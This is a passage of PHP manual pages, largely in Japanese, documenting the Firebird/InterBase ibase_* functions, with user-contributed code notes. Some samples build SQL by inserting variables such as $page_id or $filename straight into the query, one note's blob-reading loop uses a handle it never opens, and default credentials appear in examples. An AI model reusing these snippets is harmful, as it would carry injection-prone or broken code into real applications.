I tried to get the backup function working, but could never figur out where to get the resource service_handle. The trick was to use ibase_service_attach.

$resource_service_handle = ibase_service_attach ('localhost', 'username', 'password');

ibase_backup($resource_service_handle, 'source_database', 'destination_file');

ibase_service_detach ($resource_service_handle);


生成された blob にデータを追加する

  • ≪ ibase_backup
  • ibase_blob_cancel ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • 生成された blob にデータを追加する

ibase_blob_add

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_add — 生成された blob にデータを追加する

説明

ibase_blob_add ( resource $blob_handle , string $data ) : void

ibase_blob_add() は、 ibase_blob_create() で作成した blob にデータを追加します。

パラメータ

blob_handle

ibase_blob_create() でオープンした blob ハンドル。

data

追加するデータ。

返り値

値を返しません。

参考

  • ibase_blob_cancel() - blob の生成を取り消す
  • ibase_blob_close() - blob を閉じる
  • ibase_blob_create() - データを追加するために blob を生成する
  • ibase_blob_import() - blob を生成し、ファイルをコピーし、閉じる

User Contributed Notes

a dot w dot peters at ieee dot org 09-Dec-2004 07:48
To actually insert the BLOB into a table, the following snippet of code shows how this can be done.

<?php
  $dbh = ibase_connect($host, $user, $pass);

  $blh = ibase_blob_create($dbh);
  ibase_blob_add($blh, $data);
  $blobid = ibase_blob_close($blh);

  $sql = "INSERT INTO blobtable(blobfield) VALUES (?)";
  $sth = ibase_query($dbh, $sql, $blobid);
?>


blob の生成を取り消す

  • ≪ ibase_blob_add
  • ibase_blob_close ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • blob の生成を取り消す

ibase_blob_cancel

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_cancel — blob の生成を取り消す

説明

ibase_blob_cancel ( resource $blob_handle ) : bool

この関数は、まだ ibase_blob_close() で閉じられていない場合に BLOB を捨てます。

パラメータ

blob_handle

ibase_blob_create() でオープンした blob ハンドル。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ibase_blob_close() - blob を閉じる
  • ibase_blob_create() - データを追加するために blob を生成する
  • ibase_blob_import() - blob を生成し、ファイルをコピーし、閉じる

User Contributed Notes

There are no user contributed notes for this page.


blob を閉じる

  • ≪ ibase_blob_cancel
  • ibase_blob_create ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • blob を閉じる

ibase_blob_close

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_close — blob を閉じる

説明

ibase_blob_close ( resource $blob_handle ) : mixed

この関数は、読み込み用に ibase_blob_open() でオープンされたかあるいは書き込み用に ibase_blob_create() でオープンされた BLOB を閉じます。

パラメータ

blob_handle

ibase_blob_create() あるいは ibase_blob_open() でオープンした blob ハンドル。

返り値

BLOB が読み込み用であった場合、 この関数は成功時に true を返します。一方 BLOB が書き込み用であった場合、 データベースによって割り当てられた BLOB ID を文字列で返します。 失敗した場合は、この関数は false を返します。

参考

  • ibase_blob_cancel() - blob の生成を取り消す
  • ibase_blob_open() - データの一部を取得するために blob をオープンする

User Contributed Notes

There are no user contributed notes for this page.


データを追加するために blob を生成する

  • ≪ ibase_blob_close
  • ibase_blob_echo ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • データを追加するために blob を生成する

ibase_blob_create

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_create — データを追加するために blob を生成する

説明

ibase_blob_create ( resource $link_identifier = null ) : resource|false

ibase_blob_create() は、 データを書き込むための新しい BLOB を生成します。

パラメータ

link_identifier

InterBase リンク ID。省略した場合は、 最後にオープンしたリンクを使用します。

返り値

ibase_blob_add() で使用するための BLOB ハンドルを返します。失敗した場合に false を返します。

参考

  • ibase_blob_add() - 生成された blob にデータを追加する
  • ibase_blob_cancel() - blob の生成を取り消す
  • ibase_blob_close() - blob を閉じる
  • ibase_blob_import() - blob を生成し、ファイルをコピーし、閉じる

User Contributed Notes

There are no user contributed notes for this page.


ブラウザに blob の内容を出力する

  • ≪ ibase_blob_create
  • ibase_blob_get ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • ブラウザに blob の内容を出力する

ibase_blob_echo

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_echo — ブラウザに blob の内容を出力する

説明

ibase_blob_echo ( string $blob_id ) : bool
ibase_blob_echo ( resource $link_identifier , string $blob_id ) : bool

この関数は読み込み用に BLOB をオープンし、直接その内容を標準出力 (たいていの場合はブラウザ) に送信します。

パラメータ

link_identifier

InterBase リンク ID。省略した場合は、 最後にオープンしたリンクを使用します。

blob_id

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ibase_blob_open() - データの一部を取得するために blob をオープンする
  • ibase_blob_close() - blob を閉じる
  • ibase_blob_get() - オープンした blob から len バイト分のデータを取得する

User Contributed Notes

jure dot sah at monoliths dot com 20-Aug-2015 12:06
There is an alternative for getting text out of a blob that does not require as much code. Quoted from a handy online resource:

PHP offers natively the possibility of getting the BLOB data as a string.

For example ibase_fetch_assoc ( resource $result [, int $fetch_flag = 0 ] ) provides the $fetch_flag parameter which can be set to IBASE_TEXT, causing the function to return BLOB contents instead of BLOB ids.


オープンした blob から len バイト分のデータを取得する

  • ≪ ibase_blob_echo
  • ibase_blob_import ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • オープンした blob から len バイト分のデータを取得する

ibase_blob_get

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_get — オープンした blob から len バイト分のデータを取得する

説明

ibase_blob_get ( resource $blob_handle , int $len ) : string

この関数は、ibase_blob_open() によって読み込み用に オープンした BLOB から最大 len バイトを返します。

注意:

ibase_blob_create() で書き込み用にオープンした BLOB から読み込むことはできません。

パラメータ

blob_handle

ibase_blob_open() でオープンした BLOB ハンドル。

len

返されるデータのサイズ。

返り値

BLOB から最大 len バイトを返します。 失敗した場合は false を返します。

例

例1 ibase_blob_get() の例

<?php
$result    = ibase_query("SELECT blob_value FROM table");
$data      = ibase_fetch_object($result);
$blob_data = ibase_blob_info($data->BLOB_VALUE);
$blob_hndl = ibase_blob_open($data->BLOB_VALUE);
echo         ibase_blob_get($blob_hndl, $blob_data[0]);
?>
この例では 'ibase_blob_echo($data->BLOB_VALUE)' が行う以上のことは 行っていませんが、結果を変数に代入して操作する方法を示しています。

参考

  • ibase_blob_open() - データの一部を取得するために blob をオープンする
  • ibase_blob_close() - blob を閉じる
  • ibase_blob_echo() - ブラウザに blob の内容を出力する

User Contributed Notes

trinite at trinite dot mine dot nu 29-Dec-2005 03:33
The ways mentioned above won't work with segmented blobs. To fix this, I use the following:
(btw, $result->MFOTO is an image in the database)

<?php
    $result = ibase_fetch_object($result);

    /*
     ibase_blob_info array:
     [0] bloblength(total)
     [1] number of segments
     [2] size of largest segment
     [3] stream or segmented blob
     [4] ??
    */
    $blobinfo = ibase_blob_info($result->MFOTO);

    $blobhandle = ibase_blob_open($result->MFOTO);
    for($i = 0; $i < $blobinfo[1]; $i++){
        $readsize = $blobinfo[2];
        if($i == ($blobinfo[1] - 1)){
            $readsize = $blobinfo[0] - (($blobinfo[1] - 1) * $blobinfo[2]);
        }
        $totalimage .= ibase_blob_get($blobhandle, $readsize);
    }
    ibase_blob_close($blobhandle);
    echo $totalimage;
?>

This should do the trick ;)
hamacker 24-Nov-2004 06:03
The first example is wrong, is missing ibase_blob_close() function.
The correct example is :
<?php
   $sql      = "SELECT blob_value FROM table";
   $result    = ibase_query($sql);
   $data      = ibase_fetch_object($result);
   $blob_data = ibase_blob_info($data->BLOB_VALUE);
   $blob_hndl = ibase_blob_open($data->BLOB_VALUE);
   print        ibase_blob_get($blob_hndl, $blob_data[0]);
   // without close blob conection, php and ibase_blob_get() do not run.
  ibase_blob_close($blob_hndl);
?>
sol at nospam dot example dot com 18-Mar-2003 10:59
I found examples like these:

$sql = "SELECT ID, CONTENTTYPE, BLOBSIZE, DATA,NAME ";
$sql.= " FROM OM_BLOB WHERE ID = 42";
$result = ibase_query($sql);
while ($row=ibase_fetch_object($result))
{
    $blob_data = ibase_blob_info( $row->DATA);
    $blob_hndl = ibase_blob_open($row->DATA);
    $image = ibase_blob_get( $blob_hndl, $blob_data[0]);
}
but this won't work for large blobs.

One solution for big blobs is to retrieve them by chunks:

$sql = "SELECT ID, CONTENTTYPE, BLOBSIZE, DATA,NAME ";
$sql.= " FROM OM_BLOB WHERE ID = 42";
$result = ibase_query($sql);
while ($row=ibase_fetch_object($result))
{
    $image = ibase_blob_get($blob_hndl,8192);
    while($data = ibase_blob_get($blob_hndl, 8192)){
        $image .= $data;
    }
}


blob を生成し、ファイルをコピーし、閉じる

  • ≪ ibase_blob_get
  • ibase_blob_info ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • blob を生成し、ファイルをコピーし、閉じる

ibase_blob_import

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_import — blob を生成し、ファイルをコピーし、閉じる

説明

ibase_blob_import ( resource $link_identifier , resource $file_handle ) : string
ibase_blob_import ( resource $file_handle ) : string

この関数は BLOB を作成し、その中にファイルのすべての内容を読み込み、 それを閉じ、関連付けられた BLOB ID を返します。

パラメータ

link_identifier

InterBase リンク ID。省略した場合は、 最後にオープンしたリンクを使用します。

file_handle

fopen() が返すファイルハンドル。

返り値

成功した場合に BLOB の ID、エラー時に false を返します。

例

例1 ibase_blob_import() の例

<?php
$dbh = ibase_connect($host, $username, $password);
$filename = '/tmp/bar';

$fd = fopen($filename, 'r');
if ($fd) {

    $blob = ibase_blob_import($dbh, $fd);
    fclose($fd);

    if (!is_string($blob)) {
        // インポートに失敗しました
    } else {
        $query = "INSERT INTO foo (name, data) VALUES ('$filename', ?)";
        $prepared = ibase_prepare($dbh, $query);
        if (!ibase_execute($prepared, $blob)) {
            // レコードの挿入に失敗しました
        }
    }
} else {
    // データファイルをオープンできませんでした
}
?>

参考

  • ibase_blob_add() - 生成された blob にデータを追加する
  • ibase_blob_cancel() - blob の生成を取り消す
  • ibase_blob_close() - blob を閉じる
  • ibase_blob_create() - データを追加するために blob を生成する

User Contributed Notes

There are no user contributed notes for this page.


blob の長さと他の便利な情報を返す

  • ≪ ibase_blob_import
  • ibase_blob_open ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • blob の長さと他の便利な情報を返す

ibase_blob_info

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_info — blob の長さと他の便利な情報を返す

説明

ibase_blob_info ( resource $link_identifier , string $blob_id ) : array
ibase_blob_info ( string $blob_id ) : array

BLOB の長さや他の便利な情報を返します。

パラメータ

link_identifier

InterBase リンク ID。省略した場合は、 最後にオープンしたリンクを使用します。

blob_id

BLOB の ID。

返り値

BLOB についての情報を含む配列を返します。返される情報には BLOB の長さ・含んでいるセグメントの数・最大のセグメントのサイズ・ ストリーム BLOB とセグメント BLOB のどちらであるかなどがあります。

User Contributed Notes

There are no user contributed notes for this page.


データの一部を取得するために blob をオープンする

  • ≪ ibase_blob_info
  • ibase_close ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • データの一部を取得するために blob をオープンする

ibase_blob_open

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_open — データの一部を取得するために blob をオープンする

説明

ibase_blob_open ( resource $link_identifier , string $blob_id ) : resource|false
ibase_blob_open ( string $blob_id ) : resource|false

既存の BLOB を読み込み用にオープンします。

パラメータ

link_identifier

InterBase リンク ID。省略した場合は、 最後にオープンしたリンクを使用します。

blob_id

BLOB の ID。

返り値

後で ibase_blob_get() とともに使用する BLOB ハンドルを返します。失敗した場合に false を返します。

参考

  • ibase_blob_close() - blob を閉じる
  • ibase_blob_echo() - ブラウザに blob の内容を出力する
  • ibase_blob_get() - オープンした blob から len バイト分のデータを取得する

User Contributed Notes

Kevin Hamilton 27-Feb-2006 01:39
While it is true that PHP4 allows only one parameter, it is not true that PHP5 allows only 2 parameters.  The correct function signature for PHP5 should be:

resource ibase_blob_open([ resource link_identifier, ] string blob_id)

If a link_identifier is not provided, then the "default" link_identifier will be used.  The default link identifier is assigned every time you call ibase_connect or ibase_pconnect, so if you have multiple connections it will be  whichever was connected LAST.


InterBase データベースへの接続を閉じる

  • ≪ ibase_blob_open
  • ibase_commit_ret ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • InterBase データベースへの接続を閉じる

ibase_close

(PHP 5, PHP 7 < 7.4.0)

ibase_close — InterBase データベースへの接続を閉じる

説明

ibase_close ( resource $connection_id = null ) : bool

ibase_connect() から返された接続 ID が指す InterBase データベースへのリンクを閉じます。 接続 ID が省略された場合、最後にオープンされたリンクが仮定されます。 リンクにおけるデフォルトのトランザクションがコミットされ、 他のトランザクションはロールバックされます。

パラメータ

connection_id

ibase_connect() が返す InterBase リンク ID。省略した場合は、 最後にオープンしたリンクを使用します。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ibase_connect() - データベースへの接続をオープンする
  • ibase_pconnect() - InterBase データベースへの持続的接続をオープンする

User Contributed Notes

02-Apr-2002 03:18
Before close the connection remember to free your query results too...

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
    .............
}
ibase_free_result($sth);  //  <-------
ibase_close($dbh);


トランザクションを閉じずにコミットする

  • ≪ ibase_close
  • ibase_commit ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • トランザクションを閉じずにコミットする

ibase_commit_ret

(PHP 5, PHP 7 < 7.4.0)

ibase_commit_ret — トランザクションを閉じずにコミットする

説明

ibase_commit_ret ( resource $link_or_trans_identifier = null ) : bool

トランザクションを閉じずにコミットします。

パラメータ

link_or_trans_identifier

引数なしでコールされた場合、この関数はデフォルトリンクのデフォルトの トランザクションをコミットします。引数が接続 ID だった場合、対応する 接続のデフォルトのトランザクションをコミットします。引数が トランザクション ID だった場合、対応するトランザクションをコミットします。 トランザクションコンテキストはそのまま維持され、このトランザクション内で 実行された文は取り消されません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


トランザクションをコミットする

  • ≪ ibase_commit_ret
  • ibase_connect ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • トランザクションをコミットする

ibase_commit

(PHP 5, PHP 7 < 7.4.0)

ibase_commit — トランザクションをコミットする

説明

ibase_commit ( resource $link_or_trans_identifier = null ) : bool

トランザクションをコミットします。

パラメータ

link_or_trans_identifier

引数なしでコールされた場合、この関数はデフォルトリンクの デフォルトのトランザクションをコミットします。引数が接続 ID であった場合は、対応する接続のデフォルトのトランザクションを コミットします。引数がトランザクション ID であった場合は、 対応するトランザクションがコミットされます。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


データベースへの接続をオープンする

  • ≪ ibase_commit
  • ibase_db_info ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • データベースへの接続をオープンする

ibase_connect

(PHP 5, PHP 7 < 7.4.0)

ibase_connect — データベースへの接続をオープンする

説明

ibase_connect ( string $database = ? , string $username = ? , string $password = ? , string $charset = ? , int $buffers = ? , int $dialect = ? , string $role = ? , int $sync = ? ) : resource

Firebird/InterBase サーバーへの接続を確立します。

同じ引数で ibase_connect() が再度コールされた場合、 新規のリンクは作成されず、代わりに既にオープンされているリンクの リンク ID が返されます。 ibase_close() を明示的にコールしない限り、 サーバーへのリンクはスクリプトの実行終了時に閉じられます。

パラメータ

database

databaseは接続するサーバー上のデータベース ファイルへの正しいパスである必要があります。ローカルなサーバーへの 接続でない場合、使用する接続プロトコルに応じてこの引数の前に 'hostname:' (TCP/IP)、'hostname/port:' (カスタム TCP ポート上での interbase サーバーでの TCP/IP)、'//hostname/' (NetBEUI) のどれかをつける必要があります。

username

ユーザー名。php.ini ディレクティブ ibase.default_user で設定します。

password

username のパスワード。 php.ini ディレクティブ ibase.default_password で設定します。

charset

charset はデータベースに関するデフォルトの文字セットです。

buffers

buffers はサーバー側のキャッシュに確保されるデータベースバッファの数です。0 または省略された場合、サーバーはデフォルト値を用います。

dialect

dialect は、接続時に実行される全ての命令に 関する SQL 方言のデフォルト値を選択し、デフォルトではクライアント ライブラリでサポートされる方言のうち、最高位のものになります。

role

InterBase 5 以降でのみ有効です。

sync

返り値

成功した場合に Firebird/InterBase リンク ID、エラー時に false を返します。

エラー / 例外

この関数を使用して ibase_query() をコールした後に "arithmetic exception, numeric overflow, or string truncation. Cannot transliterate character between character sets" のようなエラーが発生した場合 (たとえばアクセント記号つきの文字を使用した場合などに発生します)、 文字セットを指定する必要があります (例: ISO8859_1 あるいは現在の文字セット)。

例

例1 ibase_connect() の例

<?php
$host = 'localhost:/path/to/your.gdb';

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
    echo $row->email, "\n";
}
ibase_free_result($sth);
ibase_close($dbh);
?>

参考

  • ibase_pconnect() - InterBase データベースへの持続的接続をオープンする
  • ibase_close() - InterBase データベースへの接続を閉じる

User Contributed Notes

fwrk at bk dot ru 19-Oct-2014 04:36
If you want to connect to interbase server runned on custom port (not default port 3050), you can specify it in "database" parameter in this way: 'hostname/port:' (TCP/IP with custom port).
Examples:
$dbh = ibase_connect('example.com/11099:dbalias', $username, $password);
$dbh = ibase_connect('example.com/11099:var/data/myibase.fdb', $username, $password);
$dbh = ibase_connect('example.com/11099:C:\\data\\mywinibase.fdb', $username, $password);
fb dot bird at gmail dot com 10-Aug-2007 02:32
Remember for different locations
of php.ini file:

..\xampp\php\php.ini
..\xampp\apache\bin\php.ini
..\xampp\php\php4\php.ini

Please do not confuse this
and know location _loaded_ *.ini-file!
ag at dividi dot de 20-Sep-2005 05:07
With php5 on Windows i couldnt connect to a firebird database with following error :

Warning: ibase_connect(): Unable to complete network request to host "localhost"
. Failed to locate host machine. Undefined service gds_db/tcp.  in C:\\wamp\\php\\ibase.php on line 5

the connect command was "$dbh = ibase_connect ("localhost:path_to_file.fdb", $username, $password);"

The solution is to insert the line
gds_db    3050/tcp    #firebird Database
into the windows services file %WINDIR%\\system32\\drivers\\etc\\services
Robert Silvia 04-Dec-2004 05:02
Just to update Simon's note...

Things must have been fixed since Simon wrote that note.
With PHP5 the following example works flawlessly:

$strconnect = 'localhost:/opt/firebird/examples/employee.fdb';

if (!($db=ibase_connect($strconnect, 'sysdba', 'yourpass', 'ISO8859_1', 0, 1)))
    die('Could not connect: ' .  ibase_errmsg());

  $sql  = "SELECT PO_NUMBER, ORDER_STATUS, ITEM_TYPE FROM SALES";
  $cursor = ibase_query($sql);
  $row_array = ibase_fetch_row($cursor);

  print_r($row_array);

  ibase_free_result($cursor);
  ibase_close($db);

Also you CAN get away with the following connection string:
ibase_connect('/opt/firebird/examples/employee.fdb', 'sysdba', 'yourpass')
sam at intranex.ru 05-Aug-2004 04:08
If you get a sloooow work of ibase_connect on Win2003, try to update your FireBird to version 1.5 or above, and your InterBase to version 7.1. Or move back to Win2000 :)
simon at thorndancer dot com 14-Jun-2003 11:22
I found it difficult to get anything working using the current documentation.
While logic would suggest that the format in the docs should work (being based on all the
syntax of other standard database access functions) I had problem after problem. Finally I
found some comments on a newgroup that helped, and this is the result.

This is actual production code (not a mere example). It works.
Don't ask me why it is so different from the official docs.

if ( ibase_connect( $db_filespec,$db_user,$db_pass_word) )
{
    $query  = "SELECT c.id, c.title, c.description ";
    $query .= "FROM collections c ";
    $query .= "WHERE (c.id = $page_id) ";

    $result = ibase_query( $query );

    $row_array = ibase_fetch_row($result);

    $row_fetched = !empty($row_array);

    if ($row_fetched)
    {
       // Extract the row into variables

        $collection_id   = $row_array[0];
       $edit_title      = $row_array[1];
       $edit_desc       = $row_array[2];

       // Standardise the record contents

        $collection_id   = $collection_id + 0;      // force type to numeric
     }

    // Wrap up the database side of things

     ibase_commit();     // note parenthesis but no parameters.

     ibase_close;        // note total lack of parenthesis and parameters !
}

You'll notice that there is no reference to a database handle in this code.
It seems to be implicit when dealing with interbase functions. Certainly, I couldn't
get the code to work when using it explicitly. This makes the documentation
very hard to work with, and any reference to a handle needs to be ignored.

Important: ibase_close doesn't work for me if I put parenthesis after it.
eg:
        ibase_close;        // works
        ibase_close();      // fails
        ibase_close($db);   // fails

Note: the line "if ($row_fetched)" could be replaced with "while ($row_fetched)"
if you need to process more than one record.

All that said, Interbase is a fantastic database to work with and IMHO a much
better choice than something like PostgreSQL if you need to move up from MySQL
to something more industrial strength. Just be sure to RTFM.
anthony at trams dot com 20-Nov-2000 07:44
If you get a message like: 'Dynamic SQL Error SQL error code = -901 feature is not supported', this may be caused by InterBASE client 6.01 accessing a server running 5.x.

Make sure the dialect value is set to '1', like the following:

ibase_connect ('localhost:/usr/db/db.gdb', 'SYSDBA', 'masterkey', 'ISO8859_1', '100', '1' ) ;

That last value is the dialect, but you need the two preceding also, do avoid errors.

Anthony


データベースについての統計情報を要求する

  • ≪ ibase_connect
  • ibase_delete_user ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • データベースについての統計情報を要求する

ibase_db_info

(PHP 5, PHP 7 < 7.4.0)

ibase_db_info — データベースについての統計情報を要求する

説明

ibase_db_info ( resource $service_handle , string $db , int $action , int $argument = 0 ) : string
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


Delete a user from a security database

  • ≪ ibase_db_info
  • ibase_drop_db ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • Delete a user from a security database

ibase_delete_user

(PHP 5, PHP 7 < 7.4.0)

ibase_delete_user — Delete a user from a security database

説明

ibase_delete_user ( resource $service_handle , string $user_name ) : bool

パラメータ

service_handle

The handle on the database server service.

user_name

The login name of the user you want to delete from the database.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ibase_add_user() - Add a user to a security database
  • ibase_modify_user() - Modify a user to a security database

User Contributed Notes

There are no user contributed notes for this page.


データベースを削除する

  • ≪ ibase_delete_user
  • ibase_errcode ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • データベースを削除する

ibase_drop_db

(PHP 5, PHP 7 < 7.4.0)

ibase_drop_db — データベースを削除する

説明

ibase_drop_db ( resource $connection = null ) : bool

この関数は、ibase_connect() あるいは ibase_pconnect() のいずれかによってオープンされたデータベースを削除します。 データベースがクローズされ、サーバーから削除されます。

パラメータ

connection

InterBase リンク ID。省略した場合は、 最後にオープンしたリンクを使用します。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ibase_connect() - データベースへの接続をオープンする
  • ibase_pconnect() - InterBase データベースへの持続的接続をオープンする

User Contributed Notes

There are no user contributed notes for this page.


エラーコードを返す

  • ≪ ibase_drop_db
  • ibase_errmsg ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • エラーコードを返す

ibase_errcode

(PHP 5, PHP 7 < 7.4.0)

ibase_errcode — エラーコードを返す

説明

ibase_errcode ( ) : int

直近の InterBase 関数のコールによって得られたエラーコードを返します。

返り値

エラーコードを表す整数、あるいはエラーが発生しなかった場合は false を返します。

参考

  • ibase_errmsg() - エラーメッセージを返す

User Contributed Notes

There are no user contributed notes for this page.


エラーメッセージを返す

  • ≪ ibase_errcode
  • ibase_execute ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • エラーメッセージを返す

ibase_errmsg

(PHP 5, PHP 7 < 7.4.0)

ibase_errmsg — エラーメッセージを返す

説明

ibase_errmsg ( ) : string

直近の InterBase 関数コールの結果として得られるエラーメッセージを返します。

返り値

エラーメッセージを表す文字列、あるいはエラーが発生しなかった場合は false を返します。

参考

  • ibase_errcode() - エラーコードを返す

User Contributed Notes

There are no user contributed notes for this page.


準備されたクエリを実行する

  • ≪ ibase_errmsg
  • ibase_fetch_assoc ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • 準備されたクエリを実行する

ibase_execute

(PHP 5, PHP 7 < 7.4.0)

ibase_execute — 準備されたクエリを実行する

説明

ibase_execute ( resource $query , mixed ...$values ) : resource

ibase_prepare() で準備したクエリを実行します。

いくつかのパラメータが変わるだけで同じクエリを 複数回実行する場合には、この関数は ibase_query() を使用するよりもずっと効率的です。

パラメータ

query

ibase_prepare() で準備した InterBase クエリ。

values

返り値

クエリがエラーを発生させた場合は false を返します。 クエリが成功し、結果セット(空のセットとなる可能性もありえます)を 返した場合(SELECT クエリなど)は結果 ID を返します。クエリが成功し、 結果セットが返されなかった場合は true を返します。

注意:

この関数はクエリによって変更された行の数を 返します(行を変更するクエリで、結果が 0 より大きかった場合)。 クエリは成功したが、どの行も変更されなかった場合(例: 存在しない 行に対する UPDATE)は true を返します。

例

例1 ibase_execute() の例

<?php

$dbh = ibase_connect($host, $username, $password);

$updates = array(
    1 => 'Eric',
    5 => 'Filip',
    7 => 'Larry'
);

$query = ibase_prepare($dbh, "UPDATE FOO SET BAR = ? WHERE BAZ = ?");

foreach ($updates as $baz => $bar) {
    ibase_execute($query, $bar, $baz);
}

?>

参考

  • ibase_query() - InterBase データベースでクエリを実行する

User Contributed Notes

caveman 24-Jan-2003 10:18
ibase_execute only return resource id not the actual result, you need to use ibase_fetch_row or ibase_fetch_object to retrieve actual result.

On the example above given by anthony
it should be like these

 $dbh = ibase_connect ( $host, $username, $password ) ;
 $stmt = 'SELECT * FROM "EMPLOYEE" WHERE "SALARY" = ? AND "DEPT_CD" = ? ;' ;
 $prep = ibase_prepare ( $dbh, $stmt ) ;

 $salary = Array ( "10000", "25000", "33000", "48000" ) ;
 $dept_cd = 'SALES' ;

 foreach ( $salary as $val ) {
   $res = ibase_execute ($prep, $val, $dept_cd);
   $taxForm[$val] = ibase_fetch_row ($res);
}
mclap at ulstu dot ru 07-Sep-2002 06:54
For variable argument list in ibase_execute you can use folowing functions:

For PHP >= 4.0.4:

function db_execute($stmt,$data)
{
    if(!is_array($data))
        return ibase_execute($stmt,$data);
    array_unshift($data,$stmt);
    $rc=call_user_func_array('ibase_execute',$data);
    return $rc;
}

For any version of PHP:
function db_execute($stmt,$data)
{
    if(!is_array($data))
        return ibase_execute($stmt,$data);

    $params = array();
    while( list($k,$v) = each($data) )
        $params[$k] = '$data['.$k.']';
    eval('$rc=ibase_execute($stmt,'.join(',',$params).');');

    return $rc;
}


クエリの結果から、行を連想配列として取得する

  • ≪ ibase_execute
  • ibase_fetch_object ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • クエリの結果から、行を連想配列として取得する

ibase_fetch_assoc

(PHP 5, PHP 7 < 7.4.0)

ibase_fetch_assoc — クエリの結果から、行を連想配列として取得する

説明

ibase_fetch_assoc ( resource $result , int $fetch_flag = 0 ) : array

クエリの結果の行を連想配列で返します。

ibase_fetch_assoc() は、 result から結果を 1 行取得します。 同じフィールド名のカラムが 2 つ以上存在する場合、最後のカラムが 優先されます。同名のその他のカラムにアクセスするには、 ibase_fetch_row() を使用して数値添字を用いるか あるいはクエリ中でカラムに別名をつけます。

パラメータ

result

結果ハンドル。

fetch_flag

fetch_flag は、定数 IBASE_TEXT および IBASE_UNIXTIME を論理和で指定します。IBASE_TEXT を渡すと、BLOB ID のかわりに BLOB の内容自体を返します。IBASE_UNIXTIME を渡すと、日付/時刻の値を文字列ではなく Unix タイムスタンプで返します。

返り値

ibase_fetch_assoc() は、取得した行に対応する連想配列を返します。 続けてコールすると、結果セットの次の行を返し、 行がもうない場合には false を返します。

参考

  • ibase_fetch_row() - InterBase データベースから 1 行分の結果を取得する
  • ibase_fetch_object() - InterBase データベースからオブジェクトを得る

User Contributed Notes

karasek ... ceskyserver - dot - cz 26-Apr-2005 12:37
Unlike mysql_fetch_assoc, all indexes of associative array are upper-case.

so, use
$row = ibase_fetch_assoc($result);

echo $row["INDEX"];
not
echo $row["index"];
sir_fred@ 13-Dec-2003 06:34
If your php is older than version 4.3.0, you can use the following:

$arr_record = get_object_vars(ibase_fetch_object($sql_result));

which is the same as: $arr_record = ibase_fetch_assoc($sql_result);


InterBase データベースからオブジェクトを得る

  • ≪ ibase_fetch_assoc
  • ibase_fetch_row ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • InterBase データベースからオブジェクトを得る

ibase_fetch_object

(PHP 5, PHP 7 < 7.4.0)

ibase_fetch_object — InterBase データベースからオブジェクトを得る

説明

ibase_fetch_object ( resource $result_id , int $fetch_flag = 0 ) : object

指定した結果 ID から、行を疑似オブジェクトとして取得します。

ibase_fetch_object() を続けてコールすると、 結果セットの次の行を返します。

パラメータ

result_id

ibase_query() あるいは ibase_execute() で取得した InterBase 結果 ID。

fetch_flag

fetch_flag は、定数 IBASE_TEXT および IBASE_UNIXTIME を論理和で指定します。IBASE_TEXT を渡すと、BLOB ID のかわりに BLOB の内容自体を返します。IBASE_UNIXTIME を渡すと、日付/時刻の値を文字列ではなく Unix タイムスタンプで返します。

返り値

次の行の情報を含むオブジェクト、 あるいは行がもうない場合には false を返します。

例

例1 ibase_fetch_object() の例

<?php
$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
    echo $row->email . "\n";
}
ibase_close($dbh);
?>

参考

  • ibase_fetch_row() - InterBase データベースから 1 行分の結果を取得する
  • ibase_fetch_assoc() - クエリの結果から、行を連想配列として取得する

User Contributed Notes

r dot metzger at spectraweb dot ch 27-Nov-2000 02:55
Interbase not always stores in uppercase. It depends how you created the table. If you use CREATE TABLE xyz("email" varchar(90)) you can get informations with $row->email.

If you use CREATE TABLE xyz(email varchar(90)) you have to use $row->EMAIL.


InterBase データベースから 1 行分の結果を取得する

  • ≪ ibase_fetch_object
  • ibase_field_info ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • InterBase データベースから 1 行分の結果を取得する

ibase_fetch_row

(PHP 5, PHP 7 < 7.4.0)

ibase_fetch_row — InterBase データベースから 1 行分の結果を取得する

説明

ibase_fetch_row ( resource $result_identifier , int $fetch_flag = 0 ) : array

